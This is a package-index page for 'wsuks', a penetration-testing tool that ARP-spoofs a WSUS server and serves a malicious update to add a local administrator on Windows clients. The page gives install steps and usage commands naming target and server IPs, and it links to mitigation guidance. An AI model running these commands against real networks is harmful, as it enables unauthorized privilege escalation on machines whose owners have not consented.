Skip to main content

A Tool for automating the MITM attack on the WSUS connection

Project description

Supported Python versions Twitter

wsuks

Weaponizing the WSUS Attack

Gaining local administrative access on a Windows machine that is part of a domain is typically the initial step towards acquiring domain admin privileges during a penetration test. In order to exploit the WSUS attack automatically, this tool spoofs the IP address of the WSUS server within the network using ARP, and when the client requests Windows updates, it provides its own malicious updates instead. By default, a Windows client requests updates every 24 hours.

Both the executable file served (Default: PsExec64.exe) and the executed command can be changed as needed.

Prerequisits:

  • The target Client must be on the local network
  • The Windows Server Update Service (WSUS) must be configured using HTTP

Result:

  • After successful execution the user provided will be added to the local admin group. If no user was specified a user with the format user[0-9]{5} (e.g. user12345) and a random password will be created

Installation

Using pipx:

sudo apt install python3-pipx
pipx ensurepath
pipx install wsuks
sudo ln -s ~/.local/pipx/venvs/wsuks/bin/wsuks /usr/local/bin/wsuks

Using poetry:

sudo apt install python3-poetry
git clone https://github.com/NeffIsBack/wsuks
cd wsuks
sudo poetry install

Usage

❗wsuks must be run as root❗

With pipx:

sudo wsuks
suso wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20     # This will generate a new local user and add it to the local admin group
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -p Password -d Domain.local     # This will add the provided user to the local admin group
sudo wsuks -t 10.0.0.10 -u User -p Password -d Domain.local --dc-ip 10.0.0.1      # This will start the auto discovery mode and add the provided user to the local admin group

With poetry:

suso poetry run wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20     # This will generate a new local user and add it to the local admin group
sudo poetry run wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -p Password -d Domain.local     # This will add the provided user to the local admin group
sudo poetry run wsuks -t 10.0.0.10 -u User -p Password -d Domain.local --dc-ip 10.0.0.1      # This will start the auto discovery mode and add the provided user to the local admin group

About & Mitigation

In the PyWSUS Repository from GoSecure you can find a great documentation how to you could detect and mitigate this attack. They also wrote a great Guide demonstrating how this attack works in detail here.

This Tool is based on the following projects:

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

wsuks-0.4.0.tar.gz (762.1 kB view details)

Uploaded Source

Built Distribution

wsuks-0.4.0-py3-none-any.whl (769.0 kB view details)

Uploaded Python 3

File details

Details for the file wsuks-0.4.0.tar.gz.

File metadata

  • Download URL: wsuks-0.4.0.tar.gz
  • Upload date:
  • Size: 762.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.3.2 CPython/3.11.4 Linux/6.1.0-kali9-amd64

File hashes

Hashes for wsuks-0.4.0.tar.gz
Algorithm Hash digest
SHA256 60970e37fc10c0396200f737ca7cd5e9046fc8ddd5b0fa9bbc5cf234802f4e8d
MD5 ca2519b814b7f4aa5098940d5d20296d
BLAKE2b-256 9b0cee68e55edf7af0eb25e7e888e9fe33da16c4b49ac57ec926d90490bba243

See more details on using hashes here.

File details

Details for the file wsuks-0.4.0-py3-none-any.whl.

File metadata

  • Download URL: wsuks-0.4.0-py3-none-any.whl
  • Upload date:
  • Size: 769.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/1.3.2 CPython/3.11.4 Linux/6.1.0-kali9-amd64

File hashes

Hashes for wsuks-0.4.0-py3-none-any.whl
Algorithm Hash digest
SHA256 db3890010de1b159ca87ee2e610f17896e850f147103c4fc48bf12fb249e49c6
MD5 a50e897ffe0b61f6f595bd872d84b7e8
BLAKE2b-256 f4e82bdf48aa6512ab9d2338e26ae324a0d3f0bcc6ad10dad87b7ed13933fd0b

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page